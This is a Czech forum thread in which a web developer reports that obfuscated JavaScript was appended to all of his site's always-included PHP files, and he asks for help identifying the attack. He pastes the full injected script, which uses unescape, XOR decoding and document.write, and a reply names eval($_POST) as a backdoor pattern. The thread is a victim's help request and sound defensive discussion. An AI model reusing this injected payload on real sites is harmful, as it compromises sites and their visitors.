Bezpecnost zdrojovych souboru na serveru - zakerny robot?

Ahoj, prosim o radu:
neco, zrejmne nejaky robot, mne pred nekolika dny zmenilo vsechny pozadovane (tj. i inkludovane) soubory *.php meho noveho webu na serveru tak, ze na konec kazdeho pozadovaneho souboru pridalo jakysi zakodovany javascriptovy 'document.write', ktery zrejme vlozil do kazde stranky nejaky neviditelny obsah.

Mam web na placenem hostingu, na podpore mi sdelili, ze se jedna o diru v aplikaci a ze ten zakodovany obsah udajne obsahuje pripojeni na nejaky jiny server.

Vsechny inkludovane soubory jsou inkludovane staticky. Z logu jsem nic kloudneho nevycetl.

Daval jsem web registrovat na google a na seznam.

O jaky utok se jedna a lze jej provest bez znalosti prihlasovacich udaju ftp?

Predem diky za vysvetleni

1. nevíme, je to, jako bych tady napsal, že mi nejede auto, čím to může být, popis problému je nedostatečný

Pokusim se tedy jeste upresnit:

Mam soubor hlavni soubor index.php, pak dalsi soubory *.php, ktere jsou v tom index.php staticky inkludovany (include "neco.php"). Zadny *.php na serveru dynamicky nevytvarim. Nektere *.php se inkluduji jen za urcitych podminek, ktere vyzaduji prihlaseni. Soubory, ktere se inkluduji vzdy, zmeneny byly a soubory, ktere se inkluduji podminene, zmeneny nebyly. Prohledl jsem vsechny tabulky v databazi a zadny podezrely text nebo obsah blobu jsem nenasel.

Vypada to tedy, jako by bud:

neco (nejaky robot) precetlo ten index.php, napodobilo php parser a pozmenilo index.php i vsechny nepodminene inkludovane soubory *.php (proc jen ty nepodminene, mohl hledat jen include nebo require a je to, ze?). To se mi zda nerealne a tudiz nepravdepodobne

nebo:

skutecne se jedna o nejaky spyware primo na serveru, ktery nejakym hakem sleduje pristupy na disk a modifikuje ty soubory, ktere ten http-server, potazmo php taha.

A z hostingu mi takhle odpovedeli, protoze to nechteli priznat a uz to davno maji spravene...

eval($_POST['var'])
ted jsem si precetl, co ta funkce dela. Myslim ze je dobre ze jsem o ni drive nevedel.

koudi
Ten je moc velkej, je to redakcni system. Pri psani jsem dbal na bezpecnost vsech parametru predavanych pres get i post, ale samozrejme jsem mohl leccos vypustit, neznam vsechny mozne zpusoby utoku. Uvidim jestli se to bude opakovat a pak to budu dal resit. Ja jsem chtel zjistit pricinu treba od nekoho, komu se presne tohle prihodilo a nalezite to osetrit (pokud to lze).

djlj
Pokud tam nejaka chyba je, muze byt kdekoli, nedokazu urcit stezejni cast kodu. Uznavam, tu poznamku o hostingu jsem si mel nechat pro sebe, chyba muze ovsem byt i na serveru, jak tu jiz nekdo zminoval. Take neverim, ze jsem jediny komu se tohle prihodilo, stacila by informace o viru nebo robotu, co tohle dela. Pak by se zrejme dalo zjistit, jak to dela. Bohuzel jsem si tu javascriptovou vsuvku smazal, tak ani neposkytnu k rozkodovani (sam bych to asi ted nerozkodoval). Pokud se to bude opakovat, pokusim se to resit znovu. Diky vsem za rady!

Nasel jsem ten javascript, co byl na konci tech souboru. Co to znamena? Umi to nekdo rozkodovat?

<!--[O]--><script>document.write(unescape("%3Cscript%3Etry%20%7Bvar%20 Ko%3D%27TT0Tl0Tb0TZ0T70To0Tj0Ty0TM0TW0TY0Tp0Tk0Tw0Tm0Td0TR0T60TC0TL0T4 0TX0Tx0TB0T50TJ0TN0TD0Ts0TV0Tz0TP0TH0TS0Th0TO0TF0Tg0Tn0Tq0T90TK0Te0Ta0 TI0T80TG0Tt0Tf0Tr0TA0T30TU0Ti0lT0ll0lb0lZ0l70lo0lj0ly0lM0lW0lY0lp0lk0l w0lm0ld0lR0l60lC0lL0l40lX0lx0lB0l5%27%3Bvar%20nb%3DString%28%270%27%29 %2Cmz%3DArray%2812166%5E12073%2CWR%28%27224%27%29%2C26231%5E26247%2CWR %28%27225%27%29%2C15335%5E15133%2CWR%28%27227%27%29%2C1202%5E1109%2CWR %28%27173%27%29%2C27690%5E27871%2C30125%5E30027%2C21230%5E21011%2C5543 %5E5467%2CWR%28%27179%27%29%2CWR%28%27213%27%29%2CWR%28%27221%27%29%2C 11608%5E11747%2CWR%28%27202%27%29%2CWR%28%27191%27%29%2C29093%5E28959% 2C25249%5E25161%2C27944%5E28109%2C11079%5E11189%2C28430%5E28621%2C9303 %5E9465%2CWR%28%27246%27%29%2CWR%28%27228%27%29%2CWR%28%27215%27%29%2C WR%28%27168%27%29%2CWR%28%27189%27%29%2CWR%28%27199%27%29%2C13961%5E13 943%2C5971%5E6055%2C2423%5E2511%2CWR%28%27171%27%29%2CWR%28%27165%27%2 9%2CWR%2!
8%27167%27%29%2C24190%5E24285%2CWR%28%27247%27%29%2C2441%5E2417%2CWR%2 8%27177%27%29%2CWR%28%27235%27%29%2CWR%28%27212%27%29%2C10723%5E10557% 2CWR%28%27192%27%29%2C2269%5E2099%2C16873%5E16699%2CWR%28%27180%27%29% 2CWR%28%27162%27%29%2C9700%5E9533%2CWR%28%27203%27%29%2C19709%5E19487% 2CWR%28%27255%27%29%2C11856%5E11945%2CWR%28%27223%27%29%2C6977%5E7165% 2CWR%28%27251%27%29%2C6607%5E6419%2C19609%5E19495%2C23014%5E22863%2CWR %28%27178%27%29%2CWR%28%27172%27%29%2C22909%5E22965%2CWR%28%27205%27%2 9%2CWR%28%27233%27%29%2CWR%28%27170%27%29%2CWR%28%27206%27%29%2CWR%28% 27207%27%29%2C16685%5E16891%2C6862%5E6719%2CWR%28%27209%27%29%2CWR%28% 27234%27%29%2CWR%28%27208%27%29%2C440%5E289%2C5700%5E5861%2C14271%5E14 111%2CWR%28%27166%27%29%2C18017%5E18117%2C28854%5E28781%2C9998%5E10167 %29%3Bvar%20YU%2CYC%3Bvar%20hJ%2CVI%3D%27TTTlTbTZT7ToTjTyTMTWTYTbTjT7T pTYTkTwTmTdTZTRT6TwTZTCTLTkT4TXTZTkTxTYTBTYT5TJTkTNTXTjT5TdTCTDT4TXTZT kTkT4TNTBTkTYT5TJTkTNTXTjT5TdTCTDTkT4TNTsTlT5TjTVT7TzT5TdTxTYTsTPT5TjT VT7TzT5T!
dTCTHTSThTOTFTFTFTFTFTCTDTkTgTpTbTWTzT5TYTjTsTbTpTpTnT7T5TkTBT!
kTZTRTHT
qTBTqTHT5TlTbTXToT5TdTwTZTCTHTqTDT5T9ToT7TZT5TlTBTqTHT4TNTsTjTpTKTeTVT aTjTZT7TYTPTdTCTDTkTIT4TXTZTkT8TaTBTGTlTtTMTYT9TGT6TfTrTBTGTtTGTDT4TXT ZTkTZTATBTGTWToTgTXTjT5TtTsTbT3TXTlTlT7TbTjT5T3TsTpTZTPTGT6TUTiTBTGlTl lTjTzT3lTTGTDT7TMTdTgTpTbTWTzT5TYTjTsTbTpTpTnT7T5TsT7TYTgT5T9lbTMTdT8T aTHTGTBTGTHTfTrTCTBTBlZTtTCTLTkT4TXTZTkTJT4TBTGllTjTjTol7lTlTTGTHTdTgT pTbTWTzT5TYTjTsT3TpTbTXTjT7TpTYTsllTpTlTjTkloTBTkTGTGljTGTGl7TlTzTdTCT CTHTgTpTbTWTzT5TYTjTsT3TpTbTXTjT7TpTYTsllTpTlTjTsTZT5ToT3TXTbT5TdlTlyl MTXlZlWTFlZlYTslZlplTT6TGTsTGTCTsTZT5ToT3TXTbT5TdlTlkTsTHlTT6TGTsTGTCT HTGTsTGTHTlTzTdTCTHTGTsTGTHTZTATHTUTiTDT4TXTZTklWTZTBTgTpTbTWTzT5TYTjT sTbTZT5TXTjT5lwT3T5TzT5TYTjTdTGT7TMTZTXTzT5TGTCTDlWTZTsTlT5TjT8TjTjTZT 7lmTWTjT5TdTGTlTZTbTGT6TJT4TCTDlWTZTsTMTZTXTzT5ldTpTZTgT5TZTBTFTDTklWT ZTsTJT7TgTjllTBTtTDlWTZTsllT5T7TPllTjTBTtTDTjTZlRTkTLTkTgTpTbTWTzT5TYT jTslmTpTglRTsTXToToT5TYTgl6llT7T3TgTdlWTZTCTDTwTmTdT8TaT6TfTrTCTDTkTIT bTXTjTbllTdT5TCTLTkTgTpTbTWTzT5TYTjTsTJTZT7TjT5TdTGTTllTjTzT3TyTTlmTpT glRTyTTlT!
lmTpTglRTyTTlTllTjTzT3TyTGTCTDTgTpTbTWTzT5TYTjTslmTpTglRTsTXToToT5TYTg l6llT7T3TgTdlWTZTCTDTkTwTmTdT8TaT6TfTrTCTDTkTITkTIlCTMTWTYTbTjT7TpTYTk TlTzTdTCTLTkT4TXTZTkTWlmTBlLTOT6TAldTBTqTFTtlLl4TOlXThlxTSlYTFTXlmTbTg T5TMTqTDT4TXTZTkTrlwTBTqTqTDTkTMTpTZTdT8lBTBTFTDTkT8lBTkTTTkTWlmTDTkT8 lBTHTHTCTkTrlwTHTBTkTAldTsTlTWlmTlTjTZTdTeTXTjllTsTMT3TpTpTZTdTeTXTjll TsTZTXTYTgTpTzTdTCl5TAldTsT3T5TYTPTjllTCT6TtT6TtTCTDTkTZT5TjTWTZTYTkTr lwTDTkTITTlTTlTbTZT7ToTjTy%27%3Bvar%20AP%3DString%28%29%3BKo%3DKo.spli t%28nb%29%3Bfor%28YU%3D0%3BYU%3CVI.length%3BYU+%3D2%29%7BhJ%3DVI.subst r%28YU%2C2%29%3Bfor%28YC%3D0%3BYC%3CKo.length%3BYC++%29%7Bif%28Ko%5BYC %5D%3D%3DhJ%29break%3B%7D%20AP+%3DString.fromCharCode%28mz%5BYC%5D%5E1 47%29%3B%7Dfunction%20WR%28RE%29%7Breturn%20parseInt%28RE%29%7Ddocumen t.write%28AP%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</script><!- -[/O]-->

Alphard
Skolacka chyba. Je to k videni zde jako textak (prohlizec by to nemel vykonat)

Ty CR+LF tam uz byly (tedy doufam, mozna jen unixovske CR), sebral jsem to z majlu, ktery jsem posilal na tu podporu a driv jsem se nevsiml ze to tam dole je.

Alphard
Dik, je to zakodovany vickrat, asi se tam skryva pekny 'darecek'. Trochu jsem to jeste poupravil, je to opet zde. Nevyznam se v javascriptu do te miry, abych tomu 100% rozumnel, ted nemam moc casu, pozdeji se na to jeste podivam (alespon si rozsirim znalosti z Javascriptu).

Umí to jak Webdeveloper Toolbar pro Firefox, tak Firebug
Super tool ten Firebug, nainstalil jsem dneska, zitra poladim, uvidim co z toho vyleze. Parada, to ladeni javascriptu, pomuze mi to i v dalsim vyvoji. Thx